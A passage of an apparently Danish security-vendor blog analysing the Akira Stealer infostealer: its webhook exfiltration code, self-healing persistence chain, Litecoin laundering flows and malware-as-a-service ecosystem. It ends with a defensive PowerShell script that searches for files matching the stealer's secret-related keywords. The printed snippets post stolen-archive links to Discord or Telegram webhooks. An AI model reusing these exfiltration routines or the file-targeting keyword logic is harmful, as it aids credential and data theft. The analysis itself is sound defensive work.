fallback-vært.",[533,10513,10514],{},[540,10515,10516],{},"Fallback med rent link",[588,10518,10520],{"className":4494,"code":10519,"language":4496,"meta":594,"style":594},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[551,10521,10522,10527,10532],{"__ignoreMap":594},[1683,10523,10524],{"class":1685,"line":1686},[1683,10525,10526],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1683,10528,10529],{"class":1685,"line":2062},[1683,10530,10531],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1683,10533,10534],{"class":1685,"line":2068},[1683,10535,10536],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[604,10538,10539],{},[607,10540,10541,10544],{},[540,10542,10543],{},"Klartekst",": Garanterer, at linket bliver leveret, hvis embeds blokeres eller lydløst kasseres.",[533,10546,10547],{},[540,10548,10549],{},"Sådan får angriberen linket",[533,10551,10552,10555],{},[540,10553,10554],{},"1. Webhook-infrastrukturen","\nAngriberen indlejrer webhook-endpointet i malwarens konfiguration:",[588,10557,10559],{"className":4494,"code":10558,"language":4496,"meta":594,"style":594},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[551,10560,10561,10566],{"__ignoreMap":594},[1683,10562,10563],{"class":1685,"line":1686},[1683,10564,10565],{},"# at class initialization\n",[1683,10567,10568],{"class":1685,"line":2062},[1683,10569,10570],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[604,10572,10573,10580],{},[607,10574,10575,972,10577],{},[540,10576,1317],{},[551,10578,10579],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[607,10581,10582,972,10585],{},[540,10583,10584],{},"Telegram",[551,10586,10587],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[533,10589,10590,10593],{},[540,10591,10592],{},"2. Levering i realtid","\nUmiddelbart efter en gennemført filupload kører malwaren:",[588,10595,10597],{"className":4494,"code":10596,"language":4496,"meta":594,"style":594},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[551,10598,10599,10603,10608,10613,10618,10623,10628,10633,10638,10642,10647],{"__ignoreMap":594},[1683,10600,10601],{"class":1685,"line":1686},[1683,10602,10474],{},[1683,10604,10605],{"class":1685,"line":2062},[1683,10606,10607],{},"  'username': 'Akira 💊',\n",[1683,10609,10610],{"class":1685,"line":2068},[1683,10611,10612],{},"  'embeds': [{\n",[1683,10614,10615],{"class":1685,"line":2074},[1683,10616,10617],{},"      'title': '🗄️ Exfiltration Complete',\n",[1683,10619,10620],{"class":1685,"line":2395},[1683,10621,10622],{},"      'fields': [\n",[1683,10624,10625],{"class":1685,"line":2401},[1683,10626,10627],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1683,10629,10630],{"class":1685,"line":3060},[1683,10631,10632],{},"      ]\n",[1683,10634,10635],{"class":1685,"line":3857},[1683,10636,10637],{},"  }]\n",[1683,10639,10640],{"class":1685,"line":3863},[1683,10641,2404],{},[1683,10643,10644],{"class":1685,"line":4108},[1683,10645,10646],{},"# Transmit the archive URL entirely in the JSON body\n",[1683,10648,10649],{"class":1685,"line":5030},[1683,10650,10651],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[604,10653,10654,10663],{},[607,10655,10656,10657,10659,10660,586],{},"Variablen ",[551,10658,10510],{}," interpoleres ind i embeddets ",[551,10661,10662],{},"fields.value",[607,10664,10665,10666,10668,10669,586],{},"Ved fallback til Telegram optræder ",[551,10667,10510],{}," i klartekstparameteren ",[551,10670,10671],{},"message",[533,10673,10674],{},[540,10675,10676],{},"3. Begrænsningerne i EDR- og forensisk indsigt",[604,10678,10679,10688],{},[607,10680,10681,10684,10685,10687],{},[540,10682,10683],{},"Ingen lokal logning",": Malwaren skriver ikke ",[551,10686,10510],{}," til disk eller systemlogfiler.",[607,10689,10690,10693],{},[540,10691,10692],{},"Blinde vinkler i EDR",": Værktøjer som Microsoft Defender for Endpoint kan flagge forsøget på HTTP-forespørgslen, men kan ikke udtrække den indlejrede URL.",[533,10695,10696],{},[540,10697,10698],{},"4. Derfor kan analytikeren ikke genfinde det lokalt:",[604,10700,10701,10713,10733],{},[607,10702,10703,10706,10707,10709,10710,10712],{},[540,10704,10705],{},"Ingen lokal kopi af linket",": Malwaren skriver ",[551,10708,10510],{}," udelukkende i hukommelsen og sender den over netværket, den gemmer ",[4631,10711,1580],{}," URL'en på disk eller i logfiler.",[607,10714,10715,10718,10719,10721,10726,10727,10729,10730,586],{},[540,10716,10717],{},"Oprydning af det flygtige staging-område",": Umiddelbart efter uploaden kører koden:",[698,10720],{},[1683,10722,10725],{"className":10723},[10724],"text-monospace","shutil.rmtree(ROOT)",",",[698,10728],{},"\nsom sletter alle stagede artefakter, herunder eventuelle midlertidige tekstfiler, fra ",[551,10731,10732],{},"%TEMP%",[607,10734,10735,10738,10739,10742],{},[540,10736,10737],{},"Overførsel kun over netværket",": Webhook-kaldene (",[551,10740,10741],{},"requests.post",") sker i hukommelsen, og der oprettes ingen HTTP-logfiler eller poster i browserhistorikken på offerets maskine.",[820,10744,10745],{},[533,10746,10747,10750,10751,10753,10754,10756],{},[540,10748,10749],{},"Hvad det betyder for analytikere:","\nUden live pakkeopsamling, for eksempel et netværks-TAP eller en proxy, på eksekveringstidspunktet er den præcise ",[551,10752,10510],{}," ikke til at genskabe efter infektionen.\nDerudover slettes det eksfiltrerede arkiv automatisk fra hostingtjenesten, og det indsnævrer vinduet for forensisk hentning yderligere.\nImaging efter infektionen eller værtsbaseret forensisk gendannelse vil ",[4631,10755,1580],{}," afsløre angriberens URL eller loginoplysninger til filværten, for der er ingen artefakter tilbage lokalt.",[826,10758],{"className":10759},[829,830],[714,10761,10763],{"id":10762},"_713-konklusion","7.13 Konklusion",[533,10765,720],{},[533,10767,10768,10770],{},[551,10769,582],{}," (Akira Stealer v2) er en omfattende, kommercielt distribueret stealer-værktøjskasse. Den kombinerer bred målretning, avanceret anti-analyse, dynamisk styring af infrastrukturen og datatyveri i hele stakken på tværs af loginoplysninger, krypto, systemprofilering og brugerfiler. Modulariteten og stealth kombineret med hurtige reinfektionsmetoder gør den til en af de teknisk mest avancerede stealere, vi har observeret i aktiv brug.",[528,10772,10774],{"id":10773},"_8-cirkulær-eksekveringskæde-en-selvhelbredende-loop","8. Cirkulær eksekveringskæde: en selvhelbredende loop",[533,10776,535],{},[533,10778,10779,10780,10783],{},"Et af de teknisk mest avancerede elementer i kampagnen er dens regenerative, cirkulære eksekveringsmodel. Til forskel fra konventionel malware med lineære trin, der går fra dropper til payload og derefter forsvinder, er denne operation konstrueret som en ",[540,10781,10782],{},"lukket løkke",", hvor hver komponent holder øje med de andre.",[533,10785,10786,10787,10790],{},"Den ",[540,10788,10789],{},"selvhelbredende arkitektur"," gjorde infektionskæden ikke bare vedholdende, men også autonom. Den kunne genskabe sig selv fuldstændigt efter delvise oprydninger. Så længe én brik var i live, kunne hele malware-økosystemet samle sig selv igen.",[714,10792,10794],{"id":10793},"_81-adfærden-trin-for-trin","8.1 Adfærden trin for trin",[533,10796,720],{},[2082,10798,10799,10825,10838,10869,10887],{},[607,10800,10801,10806,10808,10809,10812,10813,10815,10816,10818,10819,10821,10822,10824],{},[540,10802,10803,10804,1112],{},"Persistensankeret (",[551,10805,574],{},[551,10807,574],{}," er det grundlæggende fodfæste. Den droppes typisk i en startplacering for Windows-brugeren, for eksempel ",[551,10810,10811],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", eller registreres via ",[551,10814,1655],{},". Dens opgave er simpel, men kritisk: sikre at ",[551,10817,578],{}," er til stede og starte den lydløst, når brugeren logger på. Mangler ",[551,10820,578],{},", pakker den arkivet ",[551,10823,1825],{}," ud igen, fra en temp-mappe eller droppet på ny, og genskaber hele Electron-appstrukturen.",[607,10826,10827,10832,10834,10835,10837],{},[540,10828,10829,10830,1112],{},"Broloaderen (",[551,10831,578],{},[551,10833,578],{}," er den Electron-indpakkede Node.js-applikation. Den viser ingen brugerflade og arbejder helt i baggrunden. Ved kørsel udfører den den indlejrede JavaScript-logik i ",[551,10836,1046],{}," med Node.js som runtime-miljø. Abstraktionslaget kobler kernelogikken fra PE-stubben og hjælper med at undgå traditionel analyse.",[607,10839,10840,10845,10846,10848,10849],{},[540,10841,10842,10843,1112],{},"Eksekveringsorkestratoren (",[551,10844,2810],{},"\nIndlejret i ",[551,10847,1046],{}," er dette infektionskædens egentlige styreenhed. Dens hovedfunktioner er:",[604,10850,10851,10857,10860],{},[607,10852,10853,10854,10856],{},"At tjekke, om ",[551,10855,574],{}," er til stede, og udrulle den igen, hvis den mangler",[607,10858,10859],{},"At injicere konfiguration ved kørsel dynamisk: webhook-URL'er, C2-adresser, tokens",[607,10861,10862,10863,10865,10866,10868],{},"Enten at kalde den Python-payload, der allerede ligger der (",[551,10864,582],{},"), eller hente den som del af et ZIP-bundt, for eksempel ",[551,10867,2874],{},", fra angriberstyret infrastruktur",[607,10870,10871,10876,10877,10879,10880,10882,10883,10886],{},[540,10872,10873,10874,1112],{},"Eksekvering af payloaden (",[551,10875,582],{},"\nSå snart den udløses, kører ",[551,10878,582],{}," i hukommelsen via ",[551,10881,553],{},". Den indsamler systematisk gemte loginoplysninger, cookies, Discord-tokens, browserens sessionsdata og udvidelser til kryptovalutawallets. Dataene stages i et ZIP-arkiv og eksfiltreres via HTTPS, oftest til Discord-webhooks, men fallback-API'er som ",[551,10884,10885],{},"gofile.io"," eller specialbyggede C2-endpoints er også observeret.",[607,10888,10889,10892,10893,10895,10896,10898,10899,10901,10902,10904,10905,10907],{},[540,10890,10891],{},"Løkkens integritet og selvhelbredelse","\nDesignet er cirkulært. Slettes ",[551,10894,574],{},", bliver den udrullet igen. Mangler ",[551,10897,578],{},", pakker ",[551,10900,574],{}," den ud af ",[551,10903,1825],{}," igen. Slettes ",[551,10906,582],{},", henter JavaScript-laget den igen. Den gensidige afhængighed gør malwaren modstandsdygtig og i stand til at rekonstruere sin eksekveringskæde ud fra så godt som enhver overlevende rest.",[533,10909,10910,10911,10914],{},"Arkitekturen er ikke bare modulær, den er ",[540,10912,10913],{},"selvopretholdende",", bevidst konstrueret til stealth, fleksibilitet og langvarig overlevelse i målmiljøerne.",[714,10916,10918],{"id":10917},"_82-derfor-er-det-bemærkelsesværdigt","8.2 Derfor er det bemærkelsesværdigt",[533,10920,720],{},[533,10922,10923,10924,586],{},"Kampagnens arkitektoniske design afspejler et niveau, man normalt ikke ser i masseproducerede infostealere. Det rækker ud over simple loadere i flere trin, dette er malware konstrueret til ",[540,10925,10926],{},"driftsmæssig robusthed, stealth og automatisering",[533,10928,10929],{},[540,10930,10931],{},"Centrale kendetegn",[604,10933,10934,10940,10978,10998],{},[607,10935,10936,10939],{},[540,10937,10938],{},"Fuld autonomi","\nNår først malwaren er udrullet, kræver den ingen brugerinteraktion og ingen ekstern genaktivering. Den opfører sig som en ondsindet mikrotjeneste, der orkestrerer sin egen persistens, eksekvering af payloads og reparationsrutiner uden ekstern styring.",[607,10941,10942,10945,10946],{},[540,10943,10944],{},"Eksekveringsstak på flere sprog","\nVærktøjskæden samler:",[604,10947,10948,10958,10964,10970],{},[607,10949,10950,10953,10954,620,10956,1112],{},[540,10951,10952],{},"PE-binærfiler"," (",[551,10955,574],{},[551,10957,578],{},[607,10959,10960,10963],{},[540,10961,10962],{},"Node.js / JavaScript"," (via Electron)",[607,10965,10966,10969],{},[540,10967,10968],{},"PowerShell"," (bruges til obfuskeret relæ af payloaden)",[607,10971,10972,10953,10975,10977],{},[540,10973,10974],{},"Python",[551,10976,582],{},", kørt som hukommelsesresident stealer)\nDen lagdelte sammensætning gør det sværere at profilere, fingeraftrykke og analysere med konventionelle statiske værktøjer.",[607,10979,10980,10983,10984],{},[540,10981,10982],{},"Omgåelse af forsvaret som designprincip","\nHver komponent er kodet, krypteret eller dynamisk injiceret:",[604,10985,10986,10989,10992,10995],{},[607,10987,10988],{},"Base64-relæ i PowerShell",[607,10990,10991],{},"AES-krypteret og GZIP-komprimeret Python-kerne",[607,10993,10994],{},"Obfuskeret JavaScript med injektion af tokens ved kørsel",[607,10996,10997],{},"Selvhelbredende adfærd, der besværliggør delvis fjernelse",[607,10999,11000,11003,11004,11007,11008,11010,11011,11013],{},[540,11001,11002],{},"Intet enkelt fejlpunkt","\nMalwarens selvreparerende logik sikrer, at ",[540,11005,11006],{},"det ikke er nok at fjerne en enkelt komponent",". Fjernes ",[551,11009,574],{},", genskaber infostealeren den. Slettes ",[551,11012,582],{},", hentes og udrulles den igen af JavaScript-styreenheden.",[533,11015,11016,11017,11020],{},"Kort sagt opfører malwaren sig mere som et ",[540,11018,11019],{},"distribueret system"," end en typisk payload, et system der prioriterer overlevelse, modularitet og stealth.",[533,11022,11023,11024,11027],{},"Det løfter truslen fra et opportunistisk angreb til en ",[540,11025,11026],{},"robust, tilpasningsdygtig platform",", og det kræver, at forsvarere møder kompleksiteten med lige så lagdelte strategier for detektion og respons.",[714,11029,11031],{"id":11030},"_83-konsekvenser-for-blue-teams","8.3 Konsekvenser for blue teams",[533,11033,720],{},[533,11035,11036],{},"For forsvarere og CSOC-operatører hæver den slags arkitektur barren:",[604,11038,11039,11045,11060],{},[607,11040,11041,11044],{},[540,11042,11043],{},"Delvis oprydning virker ikke",". Alle knudepunkter skal identificeres og fjernes samtidig.",[607,11046,11047,11050,11051,11053,11054,11053,11056,11053,11058,586],{},[540,11048,11049],{},"Korrelation i Defender for Endpoint"," er afgørende. Analytikere skal spore hele kæder: fra ",[551,11052,574],{}," → ",[551,11055,1101],{},[551,11057,1198],{},[551,11059,553],{},[607,11061,11062,11065],{},[540,11063,11064],{},"Persistens uden IOC'er"," betyder, at hukommelsesbaseret heuristik, baselining af telemetri og kædebaseret detektion er nøglen.",[533,11067,11068,11069,11072],{},"Dette er ikke bare en stealer. Det er en ",[540,11070,11071],{},"robust malwareplatform",", der opfører sig mere som et distribueret system end en simpel trussel. Og det er præcis det, der gør den både imponerende og farlig.",[528,11074,11076],{"id":11075},"_9-blockchain-sporing-og-analyse","9. Blockchain-sporing og analyse",[533,11078,535],{},[714,11080,11082],{"id":11081},"_91-at-spore-pengestrømmene-i-en-litecoin-baseret-malwarekampagne","9.1 At spore pengestrømmene i en Litecoin-baseret malwarekampagne",[533,11084,720],{},[533,11086,11087,11088,11091],{},"Under reverse engineering-fasen af denne malwarekampagne udtrak vi flere hardkodede wallet-adresser, som stealeren brugte til at eksfiltrere kryptovaluta. Ved at følge on-chain-aktiviteten for disse Litecoin-wallets kunne vi afdække mønstre, der tyder på bevidst hvidvask. Den angriberstyrede wallet ",[551,11089,11090],{},"LW6EopiZ..."," fungerer som et centralt samlingspunkt. Midler, der er stjålet fra flere offre, ledes ind på denne adresse, hvorefter de hurtigt fordeles videre til flere nye adresser.",[533,11093,11094],{},"Adfærden her er typisk for det klassiske split-transfer-mønster, der bruges i crypto tumbling eller mixing. I hvert tilfælde deles hele den indgående saldo i to nogenlunde proportionale udgående transaktioner, hver sendt til en anden wallet. Strategien er tænkt til at besværliggøre address clustering og chain tracing ved at sløre midlernes oprindelse. Det er en effektiv taktik til at undgå detektion fra automatiserede platforme til blockchainanalyse og threat intelligence.",[533,11096,11097],{},"Hvidvasken udnytter en kombination af transaktionernes timing, præcis opdeling af beløb og minimeret genbrug af adresser for at omgå de heuristikker, clustering-algoritmer typisk bruger, for eksempel dem i GraphSense, Chainalysis eller TRM Labs. Formålet er at skabe transaktionsstrømme med høj entropi, som forvirrer attribueringen og bryder sammenhængen, især når midlerne til sidst broes over til andre aktiver eller byttes til privatlivsorienterede coins.",[533,11099,11100],{},"I eksemplet nedenfor viser vi en struktureret delmængde af adfærden. De indgående transaktioner er separate overførsler fra offre. Værdierne matcher derefter præcist de udgående strømme, og det viser, hvordan coins \"vaskes\" gennem hurtige, forudsigelige og algoritmisk opdelte udbetalinger.",[1391,11102,4686,11106],{"className":11103,"style":11105},[11104],"font-size-1","width:100%; border-collapse: collapse;",[1407,11107,11108,4686,11131,4686,11164,4686,11192,4686,11221],{},[1397,11109,4691,11110,4691,11114,4691,11118,4691,11121,4691,11125,4691,11128,4686],{},[1400,11111,11113],{"style":11112},"text-align: left; width: 14%;","Kilde til input",[1400,11115,11117],{"style":11116},"text-align: left; width: 12%;","Dato for input",[1400,11119,11120],{"style":11112},"Beløb ind (LTC)",[1400,11122,11124],{"style":11123},"text-align: left; width: 20%;","→ Angriberens wallet",[1400,11126,11127],{"style":6303},"Udgående adresser",[1400,11129,11130],{},"Samlet ud (LTC)",[1397,11132,4691,11133,4691,11136,4691,11139,4691,11142,4691,11149,4691,11162,4686],{},[1412,11134,11135],{},"Input_1",[1412,11137,11138],{},"2024-09-21",[1412,11140,11141],{},"0.25339198",[1412,11143,11144,11145,4691],{},"\n      ",[1683,11146,11148],{"title":11147},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1412,11150,11151,11152,11155,11156,11151,11158,11161],{},"\n      - ",[551,11153,11154],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[698,11157],{},[551,11159,11160],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1412,11163,11141],{},[1397,11165,4691,11166,4691,11169,4691,11172,4691,11175,4691,11179,4691,11190,4686],{},[1412,11167,11168],{},"Input_2",[1412,11170,11171],{},"2024-04-16",[1412,11173,11174],{},"1.09976044",[1412,11176,11144,11177,4691],{},[1683,11178,11148],{"title":11147},[1412,11180,11151,11181,11184,11185,11151,11187,11189],{},[551,11182,11183],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[698,11186],{},[551,11188,11183],{}," (0.25671380, 2024-06-13)\n    ",[1412,11191,11174],{},[1397,11193,4691,11194,4691,11197,4691,11200,4691,11203,4691,11207,4691,11219,4686],{},[1412,11195,11196],{},"Input_3",[1412,11198,11199],{},"2024-03-06",[1412,11201,11202],{},"0.77089346",[1412,11204,11144,11205,4691],{},[1683,11206,11148],{"title":11147},[1412,11208,11151,11209,11212,11213,11151,11215,11218],{},[551,11210,11211],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[698,11214],{},[551,11216,11217],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1412,11220,11202],{},[1397,11222,4691,11223,4691,11226,4691,11228,4691,11230,4691,11234,4691,11244,4686],{},[1412,11224,11225],{},"Input_4",[1412,11227,11199],{},[1412,11229,11202],{},[1412,11231,11144,11232,4691],{},[1683,11233,11148],{"title":11147},[1412,11235,11151,11236,11212,11239,11151,11241,11218],{},[551,11237,11238],{},"LUFLTrqYpix...",[698,11240],{},[551,11242,11243],{},"La22dfH9eM...",[1412,11245,11202],{},[826,11247],{"className":11248},[829,830],[528,11250,11252],{"id":11251},"_10-inde-i-akira-økosystemet-kommercialiseret-cyberkriminel-infrastruktur","10. Inde i Akira-økosystemet – kommercialiseret cyberkriminel infrastruktur",[533,11254,535],{},[533,11256,11257],{},"Akira er ikke bare en stealer, den er midtpunktet i et blomstrende undergrundsøkosystem, der er bygget til at forenkle, skalere og tjene penge på cyberkriminalitet.",[714,11259,11261],{"id":11260},"_101-et-plug-and-play-økosystem-for-trusselsaktører","10.1 Et plug-and-play-økosystem for trusselsaktører",[533,11263,720],{},[533,11265,11266],{},"Akira-økosystemet er et eksempel på, hvordan cyberkriminalitet har udviklet sig til en professionaliseret, servicedrevet økonomi. Det omfatter:",[604,11268,11269,11278,11284,11290,11296],{},[607,11270,11271,11274,11275,1112],{},[540,11272,11273],{},"Builder-bots"," til generering af payloads efter behov (for eksempel ",[551,11276,11277],{},"@AkiraRedBot",[607,11279,11280,11283],{},[540,11281,11282],{},"Telegram-kanaler"," til opdateringer, ønsker om nye funktioner og kundesupport",[607,11285,11286,11289],{},[540,11287,11288],{},"Automatiseret håndtering af licenser og betaling",", ofte via direkte beskeder eller anonyme e-handelsplatforme som Sellix",[607,11291,11292,11295],{},[540,11293,11294],{},"Medfølgende moduler"," som clipboard hijackers, Discord token loggers, browser data stealers og endda ransomware-tilføjelser",[607,11297,11298,11301],{},[540,11299,11300],{},"Payloads, der kan tilpasses",", med konfigurationsflader til at slå funktioner til og fra, indtaste webhooks og give payloaden sit eget ikon",[533,11303,11304],{},[748,11305],{"alt":11306,"src":11307},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[714,11309,11311],{"id":11310},"_102-kommercialiseringen-af-cyberkriminalitet","10.2 Kommercialiseringen af cyberkriminalitet",[533,11313,720],{},[533,11315,11316],{},"Akiras opbygning afspejler en bredere bevægelse mod \"Malware-as-a-Service\" (MaaS), hvor:",[604,11318,11319,11325,11331,11337],{},[607,11320,11321,11324],{},[540,11322,11323],{},"Der ikke kræves dybe tekniske færdigheder"," for at sætte angreb i gang",[607,11326,11327,11330],{},[540,11328,11329],{},"Adgangsprisen er lav"," ($75 for 3 måneder, $150 for livstid)",[607,11332,11333,11336],{},[540,11334,11335],{},"Support og dokumentation er der med det samme"," via Telegram",[607,11338,11339,11342],{},[540,11340,11341],{},"Bidrag fra fællesskabet"," løbende udvider Akira med scripts og forslag til funktioner",[533,11344,11345],{},"Økosystemet spejler legitime SaaS-forretningsmodeller, med changelogs, forbedret brugeroplevelse, prisniveauer og opsalg.",[533,11347,11348],{},[748,11349],{"alt":11350,"src":11351},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[714,11353,11355],{"id":11354},"_103-ud-over-stealeren-økosystemets-komponenter","10.3 Ud over stealeren – økosystemets komponenter",[533,11357,720],{},[533,11359,11360,11362],{},[551,11361,582],{}," er hjertet i mange angreb, men økosystemet leverer en komplet kæde:",[604,11364,11365,11368,11371,11374,11377],{},[607,11366,11367],{},"Obfuskeringsværktøjer som PyInstaller-wrappers",[607,11369,11370],{},"File binders, der kobler ondsindede payloads sammen med harmløs software",[607,11372,11373],{},"Compilers, crypters og polymorfi ved kørsel",[607,11375,11376],{},"Hosting-spejle til levering af payloads og eksfiltrering (for eksempel GoFile og AnonFiles)",[607,11378,11379],{},"Datahåndteringsbots, der sammenfatter stjålne loginoplysninger og hardwareprofiler",[533,11381,11382],{},[748,11383],{"alt":11384,"src":11385},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[528,11387,11389],{"id":11388},"_11-akira-stealer-quickcheck-berørte-filer","11. Akira Stealer QuickCheck: berørte filer",[533,11391,535],{},[714,11393,11395],{"id":11394},"_111-hvad-skal-det-bruges-til","11.1 Hvad skal det bruges til?",[533,11397,720],{},[533,11399,11400,11401,620,11404,620,11407,558,11410,11413],{},"Efter en mistænkt infektion med Akira Stealer er det afgørende med det samme at vide, hvilke filer på systemet der var i risiko for at blive eksfiltreret. QuickCheck-PowerShell-scriptet nedenfor gengiver Akiras præcise søgelogik: det scanner brugerens mapper ",[540,11402,11403],{},"Desktop",[540,11405,11406],{},"Documents",[540,11408,11409],{},"Downloads",[540,11411,11412],{},"OneDrive"," for filer, der:",[604,11415,11416,11431,11434],{},[607,11417,11418,11419,620,11422,620,11425,8765,11428],{},"Indeholder følsomme nøgleord i filnavnet, for eksempel ",[551,11420,11421],{},"password",[551,11423,11424],{},"wallet",[551,11426,11427],{},"backup",[551,11429,11430],{},"token",[607,11432,11433],{},"Har bestemte filtyper, som ofte er mål (.txt, .docx, .pdf, .jpg osv.)",[607,11435,11436],{},"Ligger under grænsen på 2 MB, som malwaren arbejder med",[533,11438,11439,11440,11443],{},"QuickCheck giver et hurtigt overblik baseret på Akira Stealers interne logik, men ",[540,11441,11442],{},"den erstatter ikke"," fyldestgørende forensiske værktøjer eller professionel incident response. Følg altid op med en dybere analyse, når der er tale om bekræftede sikkerhedsbrud.",[533,11445,11446,11447,620,11450,620,11453,11456,11457,586],{},"Derefter viser den en sorteret tabel med ",[540,11448,11449],{},"Filename",[540,11451,11452],{},"Relative Path",[540,11454,11455],{},"Size (KB)"," og det ",[540,11458,11459],{},"nøgleord, der udløste fundet",[820,11461,11462],{},[533,11463,11464,11467,11468,11471,11472,11474,11475,11478],{},[540,11465,11466],{},"ANSVARSFRASKRIVELSE","\nVærktøjet stilles til rådighed ",[540,11469,11470],{},"\"as is\""," uden nogen garanti for fuldstændighed eller egnethed til et bestemt formål. Det garanterer ",[540,11473,1580],{},", at ",[540,11476,11477],{},"alle"," potentielt følsomme filer bliver fundet, og det erstatter heller ikke fuld malware-forensik. Brug det på eget ansvar.",[826,11480],{"className":11481},[829],[714,11483,514],{"id":11484},"juridisk-information",[533,11486,720],{},[533,11488,11489,11490,11493,11494,11497],{},"QuickCheck-værktøjet er udelukkende tænkt til vurderinger inden for ",[540,11491,11492],{},"defensiv sikkerhed",". Enhver uautoriseret scanning eller brug på systemer, du ikke selv ejer, kan være i strid med lovgivning om privatliv, ophavsret eller datamisbrug. glueckkanja AG påtager sig ",[540,11495,11496],{},"intet ansvar"," for misbrug eller skader som følge af brugen.",[714,11499,11501],{"id":11500},"powershell-script","PowerShell-script",[533,11503,720],{},[588,11505,11507],{"className":1677,"code":11506,"language":1679,"meta":594,"style":594},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[551,11508,11509,11514,11519,11524,11528,11533,11538,11543,11548,11553,11558,11562,11567,11572,11577,11581,11586,11591,11595,11600,11605,11610,11615,11620,11624,11629,11634,11639,11643,11647,11652,11656,11661,11665,11670,11675,11680,11685,11690,11695,11700,11704,11709,11714,11719,11724,11729,11734,11739,11744,11749,11753,11758,11763,11767,11772,11777,11782,11787,11792,11797,11802,11807,11811,11815,11819,11824,11828,11833,11838,11843,11847,11852,11857,11862,11867,11872,11877,11882,11888,11893,11899,11904,11910,11916,11921,11926,11932],{"__ignoreMap":594},[1683,11510,11511],{"class":1685,"line":1686},[1683,11512,11513],{},"\u003C#\n",[1683,11515,11516],{"class":1685,"line":2062},[1683,11517,11518],{},".SYNOPSIS\n",[1683,11520,11521],{"class":1685,"line":2068},[1683,11522,11523],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1683,11525,11526],{"class":1685,"line":2074},[1683,11527,3854],{"emptyLinePlaceholder":325},[1683,11529,11530],{"class":1685,"line":2395},[1683,11531,11532],{},".DESCRIPTION\n",[1683,11534,11535],{"class":1685,"line":2401},[1683,11536,11537],{},"    Scans 